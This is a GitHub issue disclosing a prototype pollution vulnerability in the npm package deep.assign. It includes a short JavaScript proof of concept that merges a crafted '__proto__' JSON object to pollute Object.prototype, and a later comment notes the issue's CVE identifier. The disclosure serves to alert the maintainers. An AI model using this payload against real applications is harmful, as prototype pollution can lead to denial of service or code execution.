New issue

Jump to bottom

Prototype Pollution in deep.assign npm package #1

○ Open jayateertha043 opened this issue on Sep 6, 2021 · 1 comment

jayateertha043 commented on Sep 6, 2021 • edited ▾

✍️ Description
deep.assign npm package is vulnerable to prototype pollution vulnerability prior to version 0.0.0-alpha.0.

🕵️ Proof of Concept
LIVE POC LINK

```
var deepAssign = require("deep.assign@0.0.0-alpha.0")
var obj=JSON.parse('{"__proto__":{"polluted":1}}')
var obj1 = {"red":"apple"}
console.log("Before:"+{}.polluted)
var c=deepAssign.deepAssign(obj1,obj)
console.log("After:"+{}.polluted)
```

💥 Impact
May lead to Information Disclosure/DoS/RCE.

External References for similar vulnerabilities/blogs:
https://medium.com/node-modules/what-is-prototype-pollution-and-why-is-it-such-a-big-deal-2dd8d89a93c
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26707

stevebeattie commented on Jul 1 • edited ▾

Hi, this issue was apparently assigned CVE-2021-40663

(I'm just a messenger, I neither requested nor assigned this CVE identifier.)

Assignees
No one assigned

Labels
None yet

Projects
None yet

Milestone
No milestone

Development
No branches or pull requests

2 participants